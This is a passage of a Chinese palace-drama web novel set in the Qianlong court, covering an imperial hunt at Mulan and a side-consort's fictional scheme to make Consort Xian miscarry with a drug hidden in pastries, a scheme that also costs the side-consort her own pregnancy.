今晚大伙一起吃考鹿肉。 永瑆馋得连连舔嘴唇,小孩子馋吃的那眼神好似将还没断气的鹿硬生生刨下一块肉了。 永琮笑道:“今晚七哥给你割一块大的,让你尽情地吃!” “七哥真好。”永瑆抱着七哥腰身,“七哥,我累了,你背我好不好。” “当然行。”永琮蹲下来一把背住弟弟,永璐在旁搭把手,让七哥背得更稳妥些。 “走啦!七哥九 哥!“永瑆呜呼一声,高高兴兴像是要驾马似的,永璐嘀咕着这个弟弟太闹腾,但也没落下扶着十一弟的手。 两个当哥的越发有兄长风范了。 永璜满意点点头,随即拖起猎物去找自己妻儿了,在打猎过后他才反应过来,他似是忘了自己两个儿子,但那不要紧,他满载而归,想必福晋和儿子一定会高兴得忘掉他失诺这事的。 事实证明,忘记是不可能的。 永璜一回来,大福晋就皮笑肉不笑向他行礼,在看到他身后拖着的猎物时,才勉勉强强原谅他失约一事,转而分割起猎物。 魏紫菀并不知儿子狩猎出一个什么样的结果,但当晚处理干净血肉的皮毛递到她面前时,她不可避免呆了一下。 不仅如此,皇帝收归的猎物满满当当,其中好看的皮毛皇帝留着一份,另一份自然而然拿到她这里。 魏紫菀望着堆起来的皮毛,心想可以给她和四个孩子都弄一套衣裳了。 …… 紫禁城,阿哥所。 西林觉罗氏现在住着的地方是从前三阿哥的居所。 这个地方离翊坤宫有好些距离,若是她无心,根本不会走到翊坤宫附近,当然,她有心也没用。 她要是在翊坤宫附近出现一回,不用等第二第三回,娴妃在第一回时就会警惕上她。 所以她跟娴妃能自然而然接触到的地方只能是寿康宫。 娴妃隔三差五会给皇太后请安,而她去寿康宫见谦太妃的次数也不少,可这样还不行,还得细细斟酌,以求一击就垮。 第76章 第76章试验 陆答应会的东西不少,教给她的方子足够她神不知鬼不觉算计娴妃了。 这也是陆答应叫住她的缘故。 毕竟陆答应被禁足,接手的每一样东西都得清楚来龙去脉,但是她不用,或者说,以她皇子侧福晋的身份,偶尔还是能回三皇子府上的,出宫了,谁还管得着宫外之事。 她有孕期间,喝的药稀奇古怪也正常,如此一来,药材去处都有了根据。 只是她不可全信陆答应,陆答应和她的目的都是去除娴妃腹中子嗣,但是在这之外,她跟陆答应从未有过交情,或许陆答应目的不是为了去除娴妃子嗣,而是想对她下手。 她并不怀疑陆答应和娴妃关系彻底崩裂,可就算是有千万分之一的可能会对她子嗣动手,她也必须防着。 就比如嫡福晋让陆答应为她办事,除掉她的子嗣,至于陆答应答应下来的目的也不难猜测,要是嫡福晋承诺会让娴妃帮她说话,让她解除禁足,陆答应不会不同意的。 但仔细一想,嫡福晋也不能确保陆答应能守株待兔等来她。 就目前为止,陆答应是能信的,她往陆答应最有可能对她动手的方向想了一遍,都没推测出可行之处。 侧福晋捏着鼻梁,心道果然是自己怀孕怀傻了,非得将一段交易想出千万种怀疑。 “你按照我吩咐去买来这些药材。” 侧福晋长长叹了一声,奴才已去备药,她这次绝不能出错,机会是让人争的,她不后悔对娴妃动手,但是要是栽在这上面,她会后悔一辈子的。 像陆答应那样沦为宫里人的笑话,岂止可悲。 …… 药买回来了,侧福晋也趁出宫的日子将药方子试验了十多遍。 还特地让奴才找来了几只怀孕的老鼠,越小的动物越不引人注目,老鼠是最常见的,也最容易下手,不引人注目的。 好几次,侧福晋将放了药的食物放在院子外隐蔽的地方。 将那窝逮着的老鼠放开。 让其他人散开,自己一人独处观察吃了食物的老鼠情况。 最终发现,那些老鼠无一例外都流了一滩血,自己大着胆子上前察看,还未出世的小老鼠都没了。 侧福晋基本能确定这药的作用了,但是最荒诞的是,这些明明腹部涨起来的老鼠,在没了孩子后,还生龙活虎,她们产下来的‘死老鼠’都化作一滩血水,没有骨肉存在。 这跟化尸水有何区别。 她骇然之极,陆答应要是有这种手段,都能称之为造化了。 她眼神闪烁,尽管心里惊骇,但陆答应的手段有用之极! 难怪陆答应不甘心了,有这般手段,却被娴妃的好运击垮,换做谁也不会甘心的。 这对姑侄女真是幸运啊,但也该止步于此了。 …… 北狩的日子也算快活,能看到红墙黄瓦下难以见到的大草原风光、蔚蓝天色,以及奔跑的马群,雀跃的人们,异域风貌的蒙古贵族。 每当晚上皇上跟各蒙古贵族篝火交谈,魏紫菀总会在旁烧上几串微焦的肉,看着载歌载舞的蒙古男儿和女儿,体验不一样的异乡风情,然后,不小心过火的烧肉直接递给两个儿子解决。 他们半大小子,可能吃了,只需用刀子将烤焦的部分切掉,两小孩都吃得肚子圆鼓,甚至还有胃口吃点心,喝果汁,都不怕撑坏肚子。 一问就是他们去跳舞了,跳完舞后肚子又饿了。 永瑆不知跟嘉妃说了什么,愣是从嘉妃那里跑到魏紫菀这里。 还学了永琮永璐两孩子对她撒娇的模样,“贵额娘,我也要吃!永瑆要吃好多好多肉!” “再等等,”魏紫菀顺手摸了他脑袋一下,烧过头的肉最好别让太小的孩子吃,“贵额娘这串快烤好了,你和和静和恪一起分吧。” “娘娘。”子衿端来了土茯苓绿豆老鸭汤,魏紫菀道:“只不过你吃完肉以后,得跟永琮他们一起喝这个,没问题吧?” 这汤就用来清热解腻的,里面没放着孩子们忌口的东西。 方才也派人问过嘉妃了,嘉妃乐得让永瑆少吃点肉多喝点汤,全程放任孩子由她管。 “好!”小孩胡乱点头,眼巴巴盯着贵额娘手上的肉。 魏紫菀考好肉将肉拿着薄饼薅下来,再混着生菜卷起来,用刀切成三分,“吃吧。” 小孩肚量不大,随便几口就能填饱肚子了,她不怕不够分。 “好!”三小孩异口同声,共同伸出小手接过薄饼卷肉,使劲张开不大的小嘴,啊呜一声吞下满满一口。 永瑆、和静、和恪三孩子吃得津津有味,满嘴流油。 魏紫菀只尝尝味道,就对烤肉没啥兴趣了,这又不像是后世,什么调料都有,她想找来辣椒做搭配,但辣椒在这个时代又只是穷人对于盐的代替品,富贵人家是不碰辣椒的,更别说皇室中人了。 所以她要是冒然拿辣椒怼烤肉,那不现实,但没辣椒吃烤肉有何意思。 不过这里烧烤胜在食物天然,种类丰富,有羊炙、豕炙、鱼炙、腩炙、鸡炙、狐炙和鹿炙等,魏紫菀基本上都尝了一口,剩余都分给小孩们吃了。 她目光似有若无瞥过皇后和慧妃,娴妃留在宫里,这两人真的对娴妃腹中子嗣没有一丝一毫的想法? 天高皇帝远,如同当年慧妃有孕留在皇宫,而皇后在圆明园,但还是各种算计。 皇上看似对娴妃这胎上心,但不可能处处周到吧,想算计的人隔着千山万水也能算计。 皇后注意到有人看她,借着篝火掩护抬头望去,没发现是谁,不过看方向是妃子们那边的,是慧妃、纯妃还是嘉妃? 她若有所思,永璂递过去烤串,“皇额娘,您吃。” 皇后神色淡下来,“永璂,吃完后就回去吧。” 万岁爷最近对永璂学业上心了,她不愿永璂来这一趟只顾着吃喝玩乐。 “是,皇额娘,儿子遵命。”永璂神色淡淡,仔细看来跟皇后别无二致。 …… 紫禁城,寿康宫,谦太妃带着鄂侧福晋去给皇太后请安。 皇太后目光落在鄂侧福晋肚子上一瞬,转而看向娴妃,“娴妃,你月份大了,往后就好好在翊坤宫养胎吧。” “是,太后娘娘。”娴妃点头,她隔三差五赶来寿康宫,身子骨 确实没法消受。 皇太后又道:“永璋福晋,你这胎也大了,别经常走动了。” “是,娘娘。”鄂侧福晋点头,她知道皇太后是在敲打她别老是出宫,既然要在宫里养胎,就好好地养。 好在她都准备好了,只是娴妃听劝,这日之后估计不会过来寿康宫了,她要动手只有这一次机会,绝不能出任何差错。 她笑得亲和,“娴妃娘娘,奴才先前看见您胃口不适,正好奴才最近这段时日也是吃吃不好,睡睡不好,好在吃这枣花馍胃口大开,奴才念及您,特地准备了您这一份,您可要尝尝。” 娴妃笑了笑,“侧福晋的好意本宫心领了,本宫刚用过膳,怕是无福消受了。” 看这天色这时辰,哪是用膳的时候,娴妃分明是不愿碰她的东西。 鄂侧福晋笑意不减,“娴妃娘娘胃口转好了是件好事,是奴才后知后觉了,奴才敬您一杯。” 她给自己倒了一杯茶,又给娴妃也倒了一杯。 娴妃没想到她这么客气,先前拒绝过她的枣花馍,现在这杯茶,拒绝不得,皇太后可还在旁边呢,她只好皱着眉浅喝一口,再用帕子擦嘴,趁机吐在帕子上。 事实上,西林觉罗氏绝无给那茶水下手的可能,当着皇太后的面做这种事,她没这个胆子,也做不到毫无漏洞,就算能下,就那一点点药量,不起作用。 她在想要用何种手段算计娴妃,送点心不可行,跟娴妃在寿康宫偶遇也不行了。 “皇玛嬷。”小女孩稚嫩的声音响起,鄂侧福晋一愣,抬头一看,是五公主过来了。 五公主原来也没跟着万岁爷离开。 也是,作为五公主养母的娴妃都留在宫里了,五公主怎么会随驾,只不过,若是五公主给娴妃送的东西,娴妃不说相信,也会碰一碰的吧。 西林觉罗氏转念便想到了这个法子的可行性。 笑得越发真切了。 …… 木兰围场,蒙古包内。 “贵/额娘,窝肚子疼。”三个小孩异口同声,齐齐捂着肚子,小脸皱得跟橘子皮一样。 “都说让你们别吃多了,吃多了可不就得肚子疼。” 魏紫菀没好气道,同时伸出手依次给三小孩揉揉肚子。 “可是好好吃,额娘,窝不是故意的。”三个小孩还在砸吧着嘴巴,怀念满嘴流油的滋味。 永瑆还跟着两姐妹喊额娘,不叫贵额娘了。 “所以额娘不是让你们一次性吃个痛快了吗?”魏紫菀微眯的眸子透着几分狡黠。 若不让三个小孩吃撑了,得到教训了,估计下回对上这些烤肉,小孩估计还会吃个没完没了,这可不行。 小孩子就要小小年纪懂得节制,痛了就不会重蹈覆辙了。 第77章 第77章月色 “额娘,我下次不会了。”三个小孩认错的态度一模一样。 魏紫菀眼皮子跳得厉害,“还有下次?” 承诺得如此痛快,她怀疑他们就是左耳进右耳出。 三小孩立马摇头摇得像拨浪鼓似的,“没有下次了。” 说罢就捂着自己嘴巴,挺了挺小肚子。 魏紫菀在三个孩子肚子上依次拍了一下,“好了,先躺一会儿吧,等肚子不那么涨了就慢慢走着,肚子消了后就乖乖睡着吧,天已黑,小孩子都要早早入睡的。” “知道啦。”三小孩点头。 永瑆举手,“额娘。” “是贵额娘。”魏紫菀纠正,“说吧,你想说什么?” “额娘,永瑆能不能跟七哥九哥一起睡?” “本宫没意见,你问你七哥九哥去,还有,本宫是你贵额娘。”魏紫菀蹙眉,被人听到了叫额娘,那还得了。 大阿哥那没所谓,生母哲妃早就没了,况且大阿哥年纪大,有分寸,不会在外人面前叫她额娘。 就永瑆这小孩,她都觉得他念习惯了,转头直接将她叫成额娘了,嘉妃听到了不得郁闷。 永瑆乖乖点头,转头又道:“额娘,永瑆去找七哥九哥了。” 魏紫菀看着小孩背影,倒不是因为小孩屡教不改,只是看着他明明撑得肚子快胀满了,却仍是活蹦乱跳的,只能说小孩精力猛如虎。 “额娘,我带妹妹去玩了。” 魏紫菀迟疑地望着她们鼓鼓胀胀的肚子,“刚才不是还难受吗?” 和静摇头,“还难受,但是和静想玩。” 和恪点点头,“想玩。” “想玩可以,额娘有个条件。”魏紫菀将一把草放到姐妹俩面前,“喂兔子吃完这些草再出去。” 成功将两个小孩拖延一段时间,魏紫菀出来时,皇帝正在蒙古包外站着,“万岁爷。” “紫菀。”皇帝极其自然握住她的手,“今晚月色不错。” 今晚月色真美,魏紫菀脑海里突然闪过这句话,被自己逗笑了,“今晚月色确实美丽。” 在紫禁城的月色犹如层层红墙围起来的宫殿,深不见底,不见星光,月亮都甚少看到。 大草原上的月色格外诱人,月明星稀,着实晃眼。 “万岁爷怎么过来了?” 看着皇上跟蒙古贵族言笑晏晏,她以为皇上回房后还忙于别的事呢。 “朕想你了就过来了。” 想她了?不是每天都见着吗? 魏紫菀不得不扫兴一回,事实上对于皇帝的一举一动,她都打起十二万分精神,她以为皇上会跟她说起七七八八的事,但没想到皇上说完这句话就不说了,拉着她的手在蒙古包附近慢慢走着,她还注意到了侍卫们悄无声息地跟上来。 乾隆道:“朕记得你弟弟考中了武秀才,朕打算提拔他做蓝翎侍卫。” 魏紫菀不大了解武举进程,但也清楚唯有三甲进士才可当蓝翎侍卫,或是八旗子弟由家族蒙荫当上蓝翎侍卫,后者具体代表有皇后亲弟弟富察傅恒,果不其然官运亨通,不久便升任头等侍卫,在短短两年内就成了御前侍卫,于乾隆十二年就当上了户部尚书。 不过七年,官位就一路飙升,成为众人可望不可及的存在。 魏紫菀当然不觉得魏氏一族能跟富察氏一族相比,她不但不想比,还想离富察氏一族远点,但是不得不承认,富察氏一族在乾隆朝得天独厚,所以皇上说起要将她小弟提做正六品蓝翎侍卫,她还是有些呆滞的。 脑子里只有一个想法,魏氏一族可没什么家族蒙荫的本事啊,还是说向来恪守规矩,绝不在朝廷之事上给宫里妃子过多的开后门的帝王,终于宽容大方一次了? 这么说好像不对,皇上手段稳狠准才能防止旁人钻漏洞,朝廷臣子有多大本事就担多大职责,有功论功,有错论错。 她不愿族人到皇上眼皮子底下还有个重要原因,只要犯错严重,皇帝说砍头就砍头,她是真担心族人担不起皇上的赏识,一股脑就领了差事,豁出脑袋。 而她小弟被提拔成蓝翎侍卫,很难说在帝王的赏识下不会晋升为三等侍卫、二等侍卫……更往上,魏紫菀不敢猜测。 她一直想明哲保身,不让家族被皇权牵连,所以家族中人不靠她这个贵妃名头行事,而是稳扎稳打,一步一脚印,可以说,皇上的看重没给她带来任何惊喜,反倒是不知所措。 她不愿意皇上注意到她弟弟,但是她弟弟的人生不会由她把控,就顺其自然吧。 “紫菀?”见她太久没回话,皇帝语气满是疑惑。 “妾身无碍。”魏紫菀下意识摇头,家族的稳定就意味着她在宫里即便失宠了也毫无忌惮,她笑了笑,“万岁爷,妾身弟弟能得您赏识,是大造化,只是他年纪才十六,性子还得沉稳几年。” “朕知道,不过少年郎总得多给机会磨练。”皇帝颔首,一副朕就是强硬赏识你弟弟的模样。 即便清楚紫菀族人没有一个是纨绔子弟,一心一意凝成一股劲,家族中人各走各的路,走武举走科举,跟随父亲行事,但是他这个皇帝在这其中一点忙都帮不上,总感觉心情越发复杂了。 他总想要紫菀更多地依赖着他,即便他知道紫菀不是纯粹攀附着他的妃子,既然紫菀和她家族族人都没心思打着皇上最宠爱的贵妃名头为自己讨好处,那他就勉为其难帮人一把吧。 反正以紫菀小弟的能耐,迟早能靠自己当上蓝翎侍卫,继而步步高升,他欣赏有才之人,换句话说,他不过是将魏德馨要耗在武举上的年岁止损。 “万岁爷,您看有萤火虫。”不远处漂浮着微微闪着光的东西,魏紫菀眼睛一亮,极其自然转移话题。 皇帝顺着她指着的方向看去,不过很快又将目光移回她身上,“嗯,很美。” 他眼中看到的是月色下陪他相依而来的心上人。 魏紫菀松了一口气,跟皇上继续方才那个话题,她估计万岁爷能一时兴起扶持她族人,又能在对她失去兴趣,没了宠爱后,一旦皇帝日后想起这事,要翻旧账,她可能就成了皇上眼中仗着宠爱肆意行事的祸国妖妃。 她担不起这么重的罪名,谢绝了啊。 …… 翌日一早,嘉妃带着一大一小儿子过来找她,脸上堆满笑意,魏紫菀看着她气势汹汹,颇为心虚,以为昨晚放纵永瑆吃撑肚子一事被家长找上门了。 但不曾想嘉妃压根不将那事放在心上,“娘娘,这有什么,和静公主和和恪公主也一样撑着了,您这是一视同仁,依妹妹看法,就得要让他们记着这回记性,看下回还敢不敢吃撑了。” 说吧,她狠狠瞪了眼小儿子,昨晚还说什么去找七哥九哥一起睡,自己都顾不上还想着玩,吃成这样真没个节制了,下回还敢这么吃,撑爆肚子不得疼死,贵妃娘娘这次做得没错! 疼了就会长教训了。 永瑆可怜巴巴低下头,一看就是昨晚被狠狠教训一顿了。 所以嘉妃一大早过来找她目的为何? 魏紫菀摸不透,却见嘉妃喜笑颜开道:“贵妃娘娘,永珹年纪到了,今年得定下婚事了。” 嘉妃拉着她的手态度亲密,“娘娘,听皇后娘娘说,万岁爷给永珹定下的嫡福晋是总督阿里衮之女钮祜禄氏,妹妹对这个未来儿媳很是满意,心里总有股说不出的高兴劲,这就来跟您说说这件喜事了。” 她对上纯妃说话总不得劲,纯妃看她的眼神好似她要害人,皇后和慧妃更不用说了,跟她没交情,说了扫兴! 还是贵妃娘娘好。 “那姐姐恭喜妹妹了。”魏紫菀看了眼永珹,这半大小子平时看着不着调,但听她们俩说起他婚事时,耳畔绯红,必然是对嫡福晋喜欢得紧。 喜欢就好啊,夫妻俩过日子可不得讲究一个看顺眼,看不顺眼就硬生生将自己磨顺了,对方也磨顺自己的棱角,这才是一心一意过好日子的关键。 “娘娘啊,这儿子娶媳妇的滋味让妹妹是又高兴又惆怅的,日后等七阿哥娶了媳妇,您也该明白妹妹的滋味了。” 魏紫菀下意识看向永琮,只见永琮在蒙古包外高高兴兴举起弹弓射鸟,她心里摇头,不,她感觉她明白不了这种心情,就永琮这皮小子,日后哪怕娶了媳妇也会是带着媳妇孩子向她撒娇吧,她养出来的孩子无一例外都是这种喜欢撒娇的脾性。 她一度怀疑过自己是不是太过溺爱孩子了,但又一想,他们本来就有这种福气,生来是皇子公主,皇阿玛又活得久,这就意味着他们这辈子完全躺平都无碍。 想夺嫡的皇子遇上皇上这种注定活得久的帝王是种绝望,但是对于不争不抢的宫妃和皇子来说,活得久啊,天大的好事,靠山一直不倒,随心所欲过完这辈子就算了。 一朝天子一朝臣,皇位变动得太厉害,那日子才过得不舒心。 第78章 第78章两败俱伤 转眼皇帝就给永珹赐婚了。 只是不到半个月,京城传来消息,总督阿里衮之女钮祜禄氏病逝了,据说是突发急症,去得极快。 那几日嘉妃都不大愿意出现在众人面前了,直至皇上再次给永珹赐婚和硕额驸福僧额之女伊尔根觉罗氏为嫡福晋,嘉妃才重新露面。 这伊尔根觉罗氏是铁帽子亲王和硕怡亲王的嫡亲外孙女,身上流着皇室血脉,比钮祜禄氏身份高贵,嘉妃见万岁爷给永珹选的第二任嫡福晋身份这般好,立马就开心了,也不惦记着那个尚未过门的儿媳妇了。 这下换永珹一个人郁闷了。 魏紫菀有几次撞见他,见他脸上提不起一丝喜意,自知是少年心事,便离他远些,不打扰他怀念自己未过门的妻子了,听永琮说起,四阿哥早些年曾经见过钮祜禄氏一面,那时可能就少年情愫徒生了。 可惜跟钮祜禄氏有缘无份,连真正在一起的时日都没有。 永珹这个张扬得意的阿哥沉寂下去后,换永璜眉飞色舞,连连射回好几匹鹿。 皇帝看在眼里,对几个儿子能耐皆心里有数。 乾隆十六年九月,乾隆帝正式册封诸子,大阿哥永璜封多罗定郡王,三阿哥永璋封多罗循郡王,四阿哥永珹封多罗贝勒,五阿哥封固山贝子,六阿哥封固山贝子,七阿哥封多罗哲郡王,八阿哥封多罗仪郡王,九阿哥封多罗贝勒,十一阿哥封固山贝子。 轮到十二阿哥,十二阿哥作为皇上嫡子,被皇上视作继承人培养,自是不用跟其他皇子一并封爵。 但皇后对上这种情况,无论如何都高兴不起来,整整九个阿哥都封了爵位,还有四个郡王两个贝勒,万岁爷好一个雨露均沾,大阿哥和三阿哥封爵无碍,都是成家的阿哥了,四阿哥再过两年就要成亲,封爵也算情理之中,可阿哥往后,这些阿哥都还在阿哥所,尚未加冠就已被封爵,圣祖爷当年都不见将年幼的阿哥也一并封爵。 皇上当真在意永璂地位?就不怕这些阿哥心生妄念,妄图取而代之吗。 在圣祖爷时,圣祖爷是光明正大册封皇太子,但轮到她的永璂时,万岁爷还照搬先帝那一套将继承人名字藏于谕旨中,没有光明正大的册封,如何称得上是对自己嫡子的看重。 这叫她怎么不害怕,有朝一日,皇位不是落在永璂身上的。 最怕是,富察氏一族数十年的努力付诸东流,因为今朝太过张扬,一代天子一代臣,被身上没有留着富察氏血脉的新帝狠狠打压。 皇后目光落在永璋身上,接下来,必须是永璋! 皇上不愿意现在给永璂,那她就一一给永璂将面前这些兄弟扳倒,直到皇上选无可选。 …… 魏紫菀是没想到皇上将她两个儿子一个封郡王一个封贝勒,这事挺惹人注目的,但一想到皇上可能根据宫妃位份给皇子爵位,那就合情合理了。 有五阿哥这个固山贝子在,其他人应该很快参透这一层——若不论她小儿子的生母柏氏,五阿哥生母愉嫔确实是众多有子的宫妃中位份最低的。 这些都不是重点,她担心起一件事了。 那就是皇后。 皇上给诸子册封,只落下了十二阿哥永璂,那是皇后嫡子,哪怕皇上只是给十二阿哥封亲王,那也是个态度,但是十二阿哥什么都没有,她担心皇后忍不住要下手了。 从嫁给皇上后数起,皇后等了二十多年吧,从嫡长子永琏的出生,心存希望,再到永琏病逝,希望变失望,期间皇子们陆续出生,等皇后再次有孕生下嫡次子永璂,永璂已经叙齿第十二了。 皇上再稀罕嫡子,也不会忽视前面一众皇子。 并且永璂资质不显——若是个聪慧的,必然像嫡长子永琏早就慧名远扬了,甚至不用外人说,皇上本身是个克制不住炫耀性子的,对自己越看重的人越是放肆地夸。 再次给自己带来希望的嫡子却没有像自己想的那样天资卓越,皇上还对诸子册封,她完全想象不出皇后不动手的可能,当然,要动手也不会朝着她的永琮和永璐动手。 她现在是帝王宠妃,皇上对她的关注远甚于旁人,动她就是牵一发而动全身。 她宁可猜测皇后是将她和慧妃留到最后对付,也不会蠢到现在就对付她们,而且她身上还有个极大的破绽——永璐并非她的亲生子,她是 将永璐当成亲生子对待,并且有九成把握永璐不会是白眼狼,但是永璐始终不知道自己生母一事,怕是让外人浮想联翩,想着她可能舍不得永璐这一个已经长成的皇子。 这个破绽留着,总比别人以为储秀宫固若金汤好。 而皇后不对她下手,首先对准的目标会是四妃之子吧,纯妃或嘉妃,愉嫔母子俩着实不起眼,皇后不会现在就对付。 只是嘉妃两个儿子均未成家立业,且小儿子永瑆跟她的永琮永璐关系好,皇后犯不着打草惊蛇。 那就只能是纯妃之子了。 细细想来,皇后想不惹人注目地动手,又跟纯妃有关系的子嗣,永璋永瑢…… 魏紫菀仔细度量,以永瑢的性子,皇后不会对永瑢下手,那就是永璋了,毕竟是纯妃长子,但永璋就在这,皇后会在万岁爷眼皮子底下动手?皇后应该没这个胆子。 所以只有永璋那远在紫禁城的侧福晋西林觉罗氏,反正皇后也不是初犯了。 只不过,西林觉罗氏只是永璋的一个妾,皇后对她下手并不会真正影响到永璋,或许皇后主要目的是娴妃? 若是接下来西林觉罗氏或是娴妃出事,那就能完全印证她的想法了,中宫之主的能量远比她想的大多了。 …… 紫禁城,鄂侧福晋这几日经常陪着谦太妃,不可避免接触到养在皇太后身边的五公主。 五公主胆小怯弱,见生人总避开,经过她的不懈努力,五公主一见到她不再是躲在画屏身后的模样,会主动出来跟她打招呼。 “三嫂嫂。”小孩说话格外中听,鄂侧福晋点点头,没有更正她的说法。 侧福晋也是福晋,她如何担不上一句三嫂嫂了。 “来,吉佳,三嫂给你准备了你最喜欢的点心,你想不想吃。” 侧福晋笑眯眯打开做工精致的点心,五公主果然一眼就被这些点心吸引住了,点心做成各种花朵样式,每个点心模样不同,但颜色分外灿烂,格外招小孩眼球。 “想吃!” 五公主兴奋地点了下头。 “想吃就得乖乖吃完啊。”鄂侧福晋笑道,“对了,吉佳,三嫂一路走来就为了给你送点心,这肚子空落落的,吉佳给三嫂喂一块好不好?” “好!”五公主精神抖擞,在点心堆里扫了一眼,终于挑出一块菊花样式的点心递给鄂侧福晋,她记得三嫂说过她最喜欢菊花了。 五公主的投喂很合人心,鄂侧福晋吃得眉眼弯弯,还摸了小孩头发一把,“好了,去吃吧。” 五公主胡乱点头,捻起一块点心就往自己小嘴塞去。 还拿去给皇太后等人分享了。 鄂侧福晋站起来,依旧满脸笑意,直至回到阿哥所,屋里只有自己一个人时,在慢慢平缓了表情。 怎么说才好,那东西她试过了,对正常人没用,只对孕妇有用。 而五公主惯来是个孝顺孩子,每逢有好的东西,总是会分给自己的养母娴妃,她还专门给娴妃喜欢的花样式点心动手,其他的碰都不碰。 她不愁算计不成,她当着所有人的面光明正大吃下由五公主挑选的点心,她本身就被排除在外了。 只要娴妃吃下那点心,总会起作用。 她这些日子想尽办法查了娴妃和陆答应当日发生之事,果然被她探出点了不得的东西,像是陆答应疑是假孕,再一对比陆答应交给她的方子。 所以说陆答应这是想羞辱娴妃,想让所有人觉得娴妃也是假孕?若是这事传出,那就羞辱的不止是娴妃了,还有给娴妃诊断过的太医们。 鄂侧福晋笑了笑,该说陆答应这人可真记仇啊,顺我者昌,逆我者亡。 好在她跟陆答应算合作关系,不然她还真怀疑她要是不答应陆答应,陆答应反手就对她下手了,尽管陆答应看起来完全没有这个能耐。 可谁知道这宫里的人会不会留些后手。 鄂侧福晋又笑了笑,眼里满是笃定和自信,但不出半响,她脸色僵住了,不可思议看着从自己腿间流下的血。 怎么会这样…… 她明明没有吃。 鄂侧福晋腹中急剧的痛楚传来,她来不及呐喊,砰的一声,从椅子上栽下来,垂下来的衣裳吸着地上流成一小摊的血迹,可怖之极。 还有血珠一点点滴落。 与此同时,五公主殷切将莲花样式的点心拿起来,“额娘,这是女儿给您留的,您吃吃看。” 娴妃并非时时刻刻都警惕着,从寿康宫拿来的点心,不至于会害了她。 她顺手接过五公主递来的点心。 第79章 第79章黄雀在后 夜已深,京城传来的消息让皇帝大发雷霆。 得知儿媳妇出事后,纯妃早就后悔为何不将辉发那拉氏留下来,有当家主母的照顾,她孙子绝不会出事。 可谁知道会发生这种事,当娴妃和鄂侧福晋小产的消息传来,永璋头次双眼通红,像是要杀人般的疯狂,不顾一切在帐外求见,“皇阿玛,儿臣想知道儿臣侧福晋到底怎么了?求皇阿玛让儿子归京!” “出去!”皇帝暴怒,随手拿起茶杯往永璋身上丢去,恰好击中了他额头,血液从额头流下来。 永璋仍旧面不改色,拼命磕头,“皇阿玛,儿臣求您了。” “滚!”皇帝面色难看,一而再再而三看到儿子为了一个女人忤逆自己,他这个暴脾气早就忍不了了,两个侍卫立马将三阿哥压下去。 永璋拼命挣扎,最后心灰意冷,如烂泥瘫倒在地。 纯妃哭得眼睛通红,“永璋啊,跟额娘回去吧。” “我不回,我就在这里跪着,跪到皇阿玛愿意让我回京。” 永璋捏紧拳头,这让他怎么相信,不过眨眼功夫,他和柔淳第一个孩子没了,而且从今往后,柔淳的身体再也没法怀上身孕了,他还给孩子起了名字啊,为何会这样。 他不相信,他不相信他们俩的孩子就这样没了。 血液从他指缝中慢慢流出来。 他没有察觉,或者说,这点痛能跟柔淳没了孩子时的痛相比吗? 纯妃没了办法,只得命人拿来金疮药,给他额头和手包扎。 此时此刻,皇帝神色好不到哪里去。 娴妃那事是为了皇家脸面好看,才传出是小产,实则跟陆答应那日情况一样,都是‘月事’好几个月憋着,一朝释放出来形如小产的。 一般这种情况,只能说太医医术不精,当不得重任,将妃子无孕诊成有孕。 但是连鄂侧福晋也是这种情况,还能说是太医医术不精吗?这连巧合都无法解释。 宫里没有巧合之事,只有存心算计之事。 皇帝正是暴怒到底是谁算计了 他的妃子,往头个出现这种情况的陆氏身上查,还得过段日子才出结果,至少在出结果前,他心情是好不了的了。 而帐外跪着的永璋便是将他的怒火再拨高一层,永璋眼里只有他的侧福晋,没有他庶母,纯妃养的好儿子啊。 只能说,皇帝暴怒时是真的很会迁怒,即便娴妃出事,永璋平生都不怎么跟她相处过,毕竟不是亲母也不是养母更不是嫡母,哪需要上心。 但就是这点,让皇帝一时半会看纯妃母子俩极其不爽。 “将永璋送回去。” …… 京城传来大事,即便魏紫菀不清楚是何等大事,但四个孩子都被她敲打一遍了,不许往兄长姐妹或是皇阿玛那里跑,安安分分在蒙古包内养兔子。 谁敢擅自行动,回到紫禁城一个月内不许过来见她。 四个孩子很是听话,在听到额娘敲打威胁后,纷纷点头,“额娘,儿子/女儿一定不乱跑,乖乖读书认字。” “这还差不多。”魏紫菀挨个摸头,示意青柳带他们回去。 绿柳悄无声息出现在她身旁,压低声音,“娘娘,可要奴才——” “先别动作,去查查看是什么大事。” “是。”绿柳无声无息退下。 去李玉那边跑了趟后,李玉自然不会泄露出万岁爷的消息,但他朝纯妃所在的蒙古包方位看了眼,看似无意,不过绿柳哪能不清楚他的意思。 绿柳故作平常将粥膳递给李玉,便回去了。 “娘娘,这是应该跟纯妃扯不开关系。” “去打听一下三福晋什么情况。” 纯妃那边不必打草惊蛇,若真是西林觉罗氏出事了,三阿哥必然绷不住脸色,三福晋作为他的枕边人,是喜是悲总会流露出一些痕迹的。 果不其然,绿柳回来后,绷着脸道:“娘娘,三阿哥额头受了伤,三福晋想给三阿哥上药,被三阿哥推倒了,身上多出些擦伤,至今躲在屋里不出来。” “退下吧。”魏紫菀直觉这事跟鄂侧福晋撇不开关系了,而且三阿哥从万岁爷那里出来后,额头流血,加上万岁爷此刻暴怒,应该不只是鄂侧福晋出事,娴妃也应该发生‘意外’了。 但是距离她的猜测落实还差一个幕后之人,手段这些千千万万,她大概猜个范围就好,但是确定是不是皇后对她来说很重要。 “贵额娘,我来找你玩啦!”永瑆不请自来,一溜烟功夫就趴在魏紫菀腿上。 这小孩年纪小,有哥哥们宠着,做事不顾后果的,魏紫菀往他脑袋上敲了一下,没好气道:“本宫就该连你也一起说的,怎么就落下你了。” “说什么?”永瑆茫然,但小孩子的情绪来得快去得也快,他撒娇道:“贵额娘,七哥九哥和六妹七妹都不想跟我出来玩。” 那可不,她刚刚敲打过。 “他们都不出来玩了,你也该乖乖回去对不对?” “不回去!”永瑆拼命摇头,“回去后四哥也不陪我玩,我只能来找贵额娘玩了。” 魏紫菀挑眉,敢情她是这小孩的下下选了? “贵额娘陪永瑆说说话吧。” 永瑆眼睛一眨不眨,看着贵额娘漂亮的脸蛋,就差没撑起小脸趴在桌上看了。 果然贵额娘和七哥一样都是好看的!他好喜欢! 魏紫菀眉头动了动,终是没让小孩回去,“你想找谁玩?贵额娘就陪你走一趟吧。”省得这小孩老是在她耳边絮絮叨叨。 “不找大哥也不找三哥。”永瑆慢慢数着手指,颇为认真道:“他们都有小孩了,老了。” 老了?你大哥三哥知道你是这么说他们的吗? 